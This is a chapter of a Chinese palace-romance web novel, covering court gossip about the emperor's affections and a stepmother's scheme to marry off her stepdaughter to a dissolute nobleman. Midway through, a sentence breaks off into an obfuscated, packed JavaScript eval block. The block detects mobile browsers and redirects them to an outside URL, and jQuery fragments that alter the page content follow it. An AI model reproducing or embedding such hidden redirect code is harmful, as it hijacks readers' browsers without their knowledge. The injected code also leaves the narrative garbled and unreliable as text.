六安敏锐地发现,陛下自昨夜四更回宫后,心情颇为愉悦。
虽是肉眼可见的疲惫,可那神情分明是……一脸餍足。
忍不住猜测:陛下这不会是,宫外有女人了吧?
果然,不出半日,一条消息不胫而走——陛下昨日去了裴府,与裴相言谈甚欢,还喝了不少酒。
宫里很快有了传言,陛下莫不是相中了裴家女,提前去拜会未来的岳丈大人吧?
一时间,流言蜚语满天飞,连太后都坐不住了,派了魏嬷嬷来私下打听。
六安笑嘻嘻道:“陛下的心思,做奴才的怎敢妄加揣测,奴才只知道,陛下今日心情甚佳。”
晚膳时,六安不动声色地将御膳房送来的八味补气汤,顺手摆在了陛下手边。
嗯,这盅滋补肾气的汤水,陛下大抵用得上。
徐重冷眼旁观着,将六安一整套动作尽收眼底,拧眉,伸手,毫不客气地推开了汤盅。
六安一愣,趁着上膳之际,又将汤盅原封不动地推了过去。
徐重刚要发作,六安在旁幽幽道:“陛下,此汤补阳益阴,对陛下的龙体大有裨益。”
“朕,何须补阳?”
话一脱口,徐重便有些后悔了:若一月之后能与月令重归于好,这补阳益阴的汤水,也须得提前进补一番。
他默默端起汤盅,一饮而尽。
“此汤倒也清润可口,吩咐御膳房,明日再送些来。”
“是,陛下。”六安笑得见牙不见眼。
***
数日之内,围绕陛下心之归属,宫里头谈论得热闹非凡,宫外头更是掀起数场轩然大波。
赵家,便是头一个不服的。有传闻说,赵婉儿听到消息后,已在家哭足了两日,茶饭不思,清减了一圈。她爹赵佑又是心疼又是憋屈,与左右亲近放言道,裴家姑娘固然生得美艳,可婉儿亦是清秀可人,裴、朱两家一文一武,向来皆是朝中栋梁,陛下怎可偏袒至此?再不济,也得将两家姑娘一同纳入后宫以示天恩啊。
更有好事者怂恿赵家去长安殿打听打听,问问太后娘娘,陛下到底是什么意思?
比起赵家的鸡飞狗跳,裴家却是一派风平浪静。
自那日接待陛下后,裴相称病闭门谢客,阖府上下的丫鬟小厮亦口风严谨,连一丝风声也未泄漏出去。
当薛颢将近日诸多传闻一一告知老娘后,晏老夫人一声长叹,当机立断道:“咱家到底没有攀附天家的命数,儿媳,你尽快为清辉寻一门亲事吧,清辉年纪大了,莫要再耽搁下去了。”
婆母既然发了话,纪氏假模假样地应了一声——她眼下正为亲生女儿润水与乘龙快婿柴聪之间的嫌隙烦忧,哪里还腾得出心思去关心清辉的终身大事呢?
柴聪那见不得人的龌龊事,也是前不久润水回门时,才悄悄耳语给她听的。
纪氏怎么也没想到,一表人才的柴聪,竟在成婚前与府中丫鬟厮混在一起,听说那丫鬟还有了身子,被柴夫人连同腹中那块肉,一并发卖了出去。
润水是如何晓得的呢?却是某夜夫妻燕好之时,柴聪一时忘情,竟叫了那丫鬟的名字,润水便暗暗记了下来,拿银钱收买了柴府的老嬷嬷,老嬷嬷便一五一十全与她说了。
润水自然恨得咬牙切齿,对纪氏哭诉道,娘亲为我张罗的好婚事好郎君,原是金玉其外败絮其中。
纪氏愣了半响,只得咽下苦水,安慰润水人既已发卖,权当没这个人,叮嘱润水千万沉住气,就装作不知晓,将此事盖过去罢了。
如此,自家女儿的婚事尚且不顺心意,她又哪里有心思为他人做嫁衣?
就算要替那便宜女儿找门亲事,也得让薛清辉,嫁一个远不如柴聪的!
打定了主意,纪氏绞尽脑汁,竟真想到了一个出身显赫却又声名狼藉的纨绔子弟。
乃兵部尚书左思德的三子,左子昂。
左子昂与清辉同岁,单看外表,绝对是位风度翩翩的玉面郎君,更要紧的是,左子昂之母屈氏,正是屈太后的堂姐。
既是权贵之子,又是皇亲国戚,听起来,便是一门百里挑一的好亲事。
只不过,这左子昂不思进取,平日沉迷于声色犬马之中,是风月场所的常客,有传闻道,他在京畿各大秦楼楚馆皆有包房,夜夜倚翠偎红,好不痛快。
这般高门约束不住的浪荡子,配端方自傲的薛清辉,岂不是又有一番好戏看了?
说办就办,纪氏当即决定午后便登门拜访亲家母,一则探望润水,顺便敲打敲打柴聪。二则,她这位亲家母与屈氏私交甚笃,若能中间牵线搭桥,清辉与左子昂的婚事,不就是板上钉钉了么?
想及此,纪氏叫住正巧路过的朱萃,吩咐她赶紧去糕点铺子买些时令点心,她午后便要动身去柴府。
“是,夫人。”
朱萃掀起眼皮,懒懒地答应了一声——自打大姑娘去了长宁寺为已故夫人点灯祈福,她仿似那无根的芝草,成日无所事事,连精神都萎靡了几分。
***
“掌柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127614|180128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,要半斤龙井茶酥、半斤荷花酥,要送人的,拿礼盒装起来。”
朱萃堪堪递过铜钱,听得身后有人脆生生道:“掌柜的,要二两龙井茶酥、二两荷花酥,自家吃的。”
怎么,这人要的糕点和姑娘惯常点的一样?
朱萃本能地回过头,见是一个梳着双垂髻,俏丽可爱的小丫鬟。
“礼盒装的,稍候片刻,自家吃的先过来取。”
说着,掌柜递过来两包纸封的点心,那小丫鬟接过了,欢欢喜喜地走出门去。
朱萃趴在柜台上,目睹小丫鬟与门外一头戴帷帽、身量纤纤的女子会合,二人说说笑笑离开。
朱萃嘟起嘴,有些黯然神伤:别的丫鬟,都能时时刻刻陪在姑娘身边,我家姑娘偏偏不许我跟在身旁……姑娘走了快十日,还怪想姑娘的……
她抹了抹眼角,再次望向那两道背影——咦,从背影看,那个戴帷帽的女子,竟真和姑娘有八分相似!
***
买完点心,清辉便和茯苓径直回府。
她本想借买糕点一事,顺路去估衣铺看看,没承想,茯苓这丫头竟是个不好糊弄的,出门在外寸步不离,清辉也只好作罢。
也是,她如今本应身在长宁寺,若被人发现突然回了京畿,那势必会招惹新的麻烦。
甫一回府,清辉便将帷帽取下,稍稍松开衣襟,随手拿了丝帕扇风,眼下暑气正盛,出门一趟,颇为不易啊。
“姑娘,快些过来吃点心。”
茯苓等不及回屋,就在中庭的石桌上,将两包点心一一拆开:龙井茶酥如幼童拳头大小,碧绿色的外皮,内里由龙井茶粉和奶酥混合而成。荷花酥则更为精致,其形状若一朵盛开的荷花,闻之更有一股荷花香气。
看她一脸馋样,清辉不禁莞尔:“你先吃便是,我等凉快些再来。”
“姑娘不吃,我们做丫鬟的怎可先吃?”茯苓急急捡起一块茶酥,递到清辉嘴边。
清辉推辞不过,只得轻轻咬了一小口,眼神示意茯苓不必等她。
茯苓这才坐下,自顾自吃起来。
——“你主仆二人,在做些什么?”
喑哑低沉的男声骤然响起。
清辉错愕抬眸,余千里已大步流星迈步入内,他穿了身宝蓝底雪青色衣衫,眸子清亮,神采奕奕,面上笑意温和。
他不留痕地将她打量一番,只笑不语。
被他看得心里直发毛,清辉抿唇,不自在地拢了拢发丝:“余千里,你看我做甚?”